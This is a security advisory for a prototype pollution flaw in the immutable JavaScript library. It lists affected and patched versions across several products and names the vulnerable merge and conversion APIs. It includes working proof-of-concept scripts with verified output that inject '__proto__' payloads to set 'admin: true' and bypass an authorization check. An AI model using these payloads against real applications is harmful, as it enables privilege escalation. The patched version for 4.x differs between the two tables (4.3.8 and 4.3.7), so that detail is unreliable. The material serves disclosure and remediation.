| Package | Affected versions | Patched versions |
|---|---|---|
| immutable | ≥ 3.0.0, < 3.8.3≥ 4.0.0, < 4.3.8≥ 5.0.0, < 5.1.5 | 3.8.34.3.85.1.5 |
| 3scale api management platform | = 2.0 | |
| advanced cluster management for kubernetes | ≥ 2.14, < 2.14.3≥ 2.15, < 2.15.2≥ 2.16, < 2.16.1 | 2.14.32.15.22.16.1 |
| advanced cluster security | ≥ 4.10.0, < 4.10.2≥ 4.8.0, < 4.8.11≥ 4.9.0, < 4.9.6 | 4.10.24.8.114.9.6 |
| ansible automation platform | = 2.0 | |
| build of apicurio registry | = 2.0 | |
| connectivity link | = 1.0 | |
| developer hub | ≥ 1.8.0, < 1.8.6≥ 1.9.0, < 1.9.4 | 1.8.61.9.4 |
| discovery | = 2.0 | |
| edge manager | ≥ 1.0, < 1.0.3≥ 1.1, < 1.1.3 | 1.0.31.1.3 |
| migration toolkit | = 1.8 | |
| migration toolkit for virtualization | = 2.10.0= 2.9.0 | |
| multicluster engine for kubernetes | ≥ 2.10, < 2.10.2≥ 2.11, < 2.11.1≥ 2.6, < 2.6.10≥ 2.7, < 2.7.10≥ 2.8, < 2.8.5≥ 2.9, < 2.9.3 | 2.10.22.11.12.6.102.7.102.8.52.9.3 |
| network observability operator | = 1.11.0= 1.12.3 | |
| openshift cluster observability operator | = 1.5.3 | |
| openshift container platform | = 4.0≥ 4.12, < 4.12.93≥ 4.13, < 4.13.69≥ 4.14, < 4.14.68≥ 4.15, < 4.15.66≥ 4.16, < 4.16.63≥ 4.17, < 4.17.54≥ 4.18, < 4.18.39≥ 4.19, < 4.19.32≥ 4.20, < 4.20.23≥ 4.21, < 4.21.17 | 4.12.934.13.694.14.684.15.664.16.634.17.544.18.394.19.324.20.234.21.17 |
| openshift data foundation | = 4.17≥ 4.18, < 4.18.25≥ 4.19, < 4.19.20≥ 4.20, < 4.20.15 | 4.18.254.19.204.20.15 |
| openshift pipelines | ≥ 1.20, < 1.20.5 | 1.20.5 |
| openshift service mesh | = 2.6= 3.0= 3.1= 3.2= 3.3 | |
| openshift virtualization | = 4 | |
| quay | = 3.18.0≥ 3.10.0, < 3.10.21≥ 3.12.0, < 3.12.16≥ 3.15.0, < 3.15.4≥ 3.16.0, < 3.16.4≥ 3.17.0, < 3.17.2≥ 3.9.0, < 3.9.20 | 3.10.213.12.163.15.43.16.43.17.23.9.20 |
| satellite | = 6.0= 6.18 | |
| self-service automation portal | = 2.0 | |
| immutable | ≥ 4.0.0-rc.1, < 4.3.8≥ 5.0.0, < 5.1.5< 3.8.3 | 4.3.85.1.53.8.3 |
What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
| API | Notes |
|---|---|
mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] |
mergeDeepWith(merger, target, source) | Same code path |
merge(target, source) | Shallow variant, same assignment logic |
Map.toJS() | object[k] = v in toObject() with no __proto__ guard |
Map.toObject() | Same toObject() implementation |
Map.mergeDeep(source) | When source is converted to plain object |
Has the problem been patched? What versions should users upgrade to?
| major version | patched version |
|---|---|
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
Is there a way for users to fix or remediate the vulnerability without upgrading?
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against [email protected]:
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
Are there any links users can visit to find out more?